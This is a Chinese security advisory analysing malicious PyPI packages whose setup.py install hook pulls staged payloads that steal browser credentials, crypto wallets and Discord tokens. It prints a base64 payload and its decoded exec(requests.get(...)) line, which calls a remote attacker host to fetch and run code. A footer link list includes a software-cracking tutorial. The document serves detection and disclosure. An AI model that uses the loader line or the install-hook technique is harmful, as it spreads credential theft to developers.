安全情报 | Pypi再现窃密攻击投毒

简介: 9月10日起,有投毒者持续向官方Pypi仓库中投放urllitelib、urtelib32、graphql32等多个版本的恶意Py包,请及时排查。

概述

悬镜安全自研的开源组件投毒检测平台通过对主流开源软件仓库(包括Pypi、NPM、Ruby等)发布的组件包进行持续性监控和自动化代码安全分析,同时结合专家安全经验复审,能够及时发现组件包投毒事件并精确定位恶意代码片段,捕获潜在的供应链投毒攻击行为。

上周我们在Python官方仓库(Pypi)中发现多起新的恶意组件包投毒事件,值得注意的是,urllitelib、urtelib32、graphql32三个python恶意包由同一个攻击者在9月10~11号之间上传投放到Pypi仓库,在此期间攻击者连续迭代发布多个版本,这三个恶意包的代码和攻击行为具有极高相似度,其主要攻击行为是窃取受害者PC操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等),截至目前这些恶意Py包在官方仓库上已被下载近2000次(详细数据如下所示)。
图片1.png

(https://www.pepy.tech/projects/urllitelib)

图片2.png

图片3.png

目前这些投毒包已从官方仓库中下架,经悬镜供应链安全实验室确认,国内各大主流Pypi镜像源仍缓存这些恶意投毒包 ,对于使用国内镜像源的广大开发者来说依旧面临潜在的安全风险。悬镜安全提醒国内开发者们自行排查是否安装或引用以下Python恶意组件包。

图片4.png

投毒窃密分析

从09月10日开始,悬镜安全的开源组件投毒检测系统监测到投毒者(benjaminrodriguezshhh@proton.me)持续向官方Pypi仓库中投放urllitelib、urtelib32、graphql32等多个版本的恶意Py包,这些恶意包命中了检测引擎的安全风险规则,通过进一步对恶意包样本的人工分析后,确认这是一起有针对性的投毒攻击事件,投毒者的攻击对象是Windows操作系统用户,其主要攻击行为是窃取Windows操作系统、主流浏览器、社交软件以及区块链钱包软件的敏感数据。

投毒攻击流程

当Python开发者使用pip install从Pypi官方仓库或下游镜像源直接安装或者依赖引用恶意组件包时,将自动触发执行恶意安装包setup.py中的第一阶段攻击代码,第一阶段攻击代码将从远程服务器下载第二、三阶段的攻击载荷,经过解码后,第三阶段攻击载荷将成为最终的投毒攻击代码。

投毒包攻击流如下图所示:
4.5.png

恶意样本分析

以urllitelib(1.2.0版本)为例:攻击者在组件包setup.py中设置自定义command类CustomInstall,当开发者执行pip install urllitelib安装组件包时将触发 CustomInstall.run()函数中的第一阶段攻击代码(如下图所示)。

图片5.png

远程下载攻击载荷

第一阶段的攻击代码首先将内置的恶意代码写入config.py文件后,进一步尝试使用管理员权限执行config.py,config.py将通过HTTP Auth认证的GET请求从远程服务器下载执行伪装成图片(http: //wpp-api-01hw.onrender.com/api/images/1140884481671188581/image.png) 的第二阶段攻击Payload,第二阶段Payload使用base64进行简单编码:

ZXhlYyhyZXF1ZXN0cy5nZXQoJ2h0dHA6Ly93cHAtYXBpLTAxaHcub25yZW5kZXIuY29tL2FwaS9zdGVhbC8xMTQwODg0NDgxNjcxMTg4NTgxLycsIGhlYWRlcnM9eydhdXRoJzogJyYmQ0QmJk9OJ30pLmpzb24oKVsnY29kZSddKQ

base64解码后,第二阶段攻击Payload真实内容如下:

b"exec(requests.get('http: //wpp-api-01hw.onrender.com/api/steal/1140884481671188581/', headers={'auth': '&&CD&&ON'}).json()['code'])"

第三阶段的攻击Payload同样是通过HTTP Auth认证的GET请求从http: //wpp-api-01hw.onrender.com/api/steal/1140884481671188581/ 下载后,再进行一轮base64解码,投毒包最终的攻击载荷如下所示:

图片6.png

通过分析投毒包远程载荷代码可明显发现其主要攻击逻辑包含有系统运行环境反调试、获取操作系统基本信息、窃取浏览器用户数据(密码,cookie,浏览记录等)、获取主流应用软件用户token、盗取区块链钱包敏感数据以及开机自启动等恶意行为。

反调试&虚拟机对抗

如下图所示,恶意代码具备比较基础的反调试和虚拟机对抗能力。恶意代码在执行数据窃密操作前,如果检测到系统中存在代码逆向、进程调试、进程监控、网络流量分析以及虚拟机服务等相关进程后会尝试杀死这些进程。此外,当检测到当前操作系统的主机名、网络IP、MAC地址如果命中内置的黑名单后,会删除自身代码,躲避检测。

图片7.png

获取系统敏感信息

恶意代码除了获取操作系统设备ID、主机名、用户名、网络IP、MAC等基础信息之外,还会对系统屏幕进行截屏。这些敏感数据最终都将发送到攻击者服务器上。

图片8.png

窃取浏览器用户数据

恶意代码还会尝试遍历主流浏览器的用户数据目录,窃取浏览器中存储的用户密码、cookie、信用卡、历史浏览记录等敏感数据。

图片9.png

盗取区块链钱包账户数据

恶意代码会遍历主流数字货币钱包(例如Exodus、Atomic Wallet.等)的数据目录,对钱包账户数据进行压缩打包后发送给攻击者服务器。

图片10.png

盗取Discord及主流浏览器token

此外,恶意代码还会搜索主流浏览器和Discord的用户数据目录,尝试从leveldb、sqlite3等本地数据库中挖掘出符合特定正则表达式的用户token数据。

图片11.png

IoC数据

此次投毒组件包涉及的恶意文件和恶意链接IoC数据如下所示:

图片12.jpg

总结

截止目前,投毒攻击者所使用的恶意代码载荷URL依然有效,虽然相关的投毒组件包已经从官方仓库Pypi上下架,但其依然存活于国内各大Pypi镜像源中,因此对于国内广大开发者来说仍需提供安全防范意识,除了自行排查现有Py安装包外,建议尽量使用官方Pypi仓库源。

排查方式

使用OpenSCA-cli,将以下内容保存为db.json文件,直接执行扫描命令(opensca-cli -db db.sjon -path${project_path}),即可快速获知您的项目是否受到投毒包影响。

[
  {
    "product": "urllitelib",
    "version": "[1.0.0, 1.2.0]",
    "language": "python",
    "id": "XMIRROR-2023-70549",
    "description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",
    "release_date": "2023-09-18"
  },
  {
    "product": "urtelib32",
    "version": "[1.7.2, 1.8.1]",
    "language": "python",
    "id": "XMIRROR-2023-70550",
    "description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",
    "release_date": "2023-09-18"
  },
  {
    "product": "graphql32",
    "version": "[1.7.2, 1.8.4]",
    "language": "python",
    "id": "XMIRROR-2023-70551",
    "description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",
    "release_date": "2023-09-18"
  }
]

悬镜安全也将持续监测和挖掘未知的开源组件安全风险,并及时对供应链投毒事件进行分析披露。

相关文章
|
网络协议 Android开发 数据安全/隐私保护
Android手机上使用Socks5全局代理-教程+软件
Android手机上使用Socks5全局代理-教程+软件
9430 2
|
大数据 Python
Python中for循环的嵌套应用
Python中for循环的嵌套应用
335 1
|
5月前
|
机器学习/深度学习 人工智能 算法
人机融合智能 | “人智交互”跨学科新领域
本文围绕“以人为中心AI(HCAI)”理念,提出人-人工智能交互(人智交互)这一跨学科领域及框架。文章定义了人智交互的基本理论、关键问题与方法,并探讨其开发流程和团队协作模式,强调该领域的研究意义。文中分析了智能时代人机交互的新特征,提出“人智组队”的新型人机关系,指出智能系统可作为“辅助工具+合作队友”存在。同时,文章通过对比AI学科与人因科学的优势与不足,阐明跨学科合作的必要性,为未来人智交互研究提供方向。本章旨在为后续内容构建基于HCAI理念的研究与应用框架。
511 0
|
负载均衡 监控 Go
使用Golang框架构建分布式系统
本文探讨了使用Golang构建分布式系统的方法。Golang因其高效、简洁的语法和并发支持成为理想的开发语言。文中列举了几个常用的Golang框架,如Echo、Gin、gRPC和NATS等,并强调了服务拆分、通信机制、负载均衡等构建分布式系统的关键要素。通过选择合适的框架,遵循需求分析、技术选型、服务设计等步骤,开发者可以构建出高性能、高可用和可扩展的系统。此外,文中还提供了一个使用gRPC和etcd的简单代码案例来说明实现过程。
879 4
|
IDE Linux 开发工具
IntelliJ IDEA2022破解IDEA2022.2永久破解激活教程
IDEA 目前已经更新到最新的 2022.2.2 版本了,群里的小伙伴私聊问我,为啥之前 2021.3.1 的激活套路对新版本 2022.2.2 不管用了,是个什么情况? 很显然,IDEA 官方发现了这种破解路数,新版本加入了更严厉的反制破解。所以说,小伙伴们破解成功了以后,尽量不要升级 IDEA, 不然大概率又不行了。 好在z大又更新了新的补丁,针对最新版本,这边笔者亲测可行,仅以下文记录本人 IntelliJ IDEA 2022.2.2 版本的激活破解到 2099 年的全过程,步骤非常详细,跟着图文来就行~
65153 3
IntelliJ IDEA2022破解IDEA2022.2永久破解激活教程
|
存储 Linux C语言
C语言 多路复用 epoll
本文详细介绍了 Linux 下的非阻塞 IO 多路复用技术——`epoll`,对比 `select` 和 `poll`,`epoll` 使用红黑树结构存储文件描述符,支持动态增删节点,无数量限制,采用回调机制提高效率。文章通过示例代码展示了如何使用 `epoll_create()` 创建 `epoll` 实例,`epoll_ctl()` 管理文件描述符,以及 `epoll_wait()` 等待事件。最后简要分析了 `epoll` 的核心数据结构 `struct eventpoll` 和红黑树节点 `struct epitem`。
|
NoSQL Redis 数据库
若依系统分离版去除redis数据库
若依系统分离版去除redis数据库
1651 1
|
数据安全/隐私保护
github报错(完美解决):获取token。remote: Support for password authentication was removed on August 13, 2021.
这篇文章介绍了如何在GitHub上解决因密码认证被移除而导致的推送错误,通过创建和使用个人访问令牌(token)来代替密码进行身份验证。
3052 0
|
存储 运维 监控
深入Linux核心:文件系统与日志解析
【8月更文挑战第20天】
270 2
|
安全 编译器 C++
C++一分钟之-模板元编程实例:类型 traits
【7月更文挑战第15天】C++的模板元编程利用编译时计算提升性能,类型traits是其中的关键,用于查询和修改类型信息。文章探讨了如何使用和避免过度复杂化、误用模板特化及依赖特定编译器的问题。示例展示了`is_same`类型trait的实现,用于检查类型相等。通过`add_pointer`和`remove_reference`等traits,可以构建更复杂的类型转换逻辑。类型traits增强了代码效率和安全性,是深入C++编程的必备工具。
243 12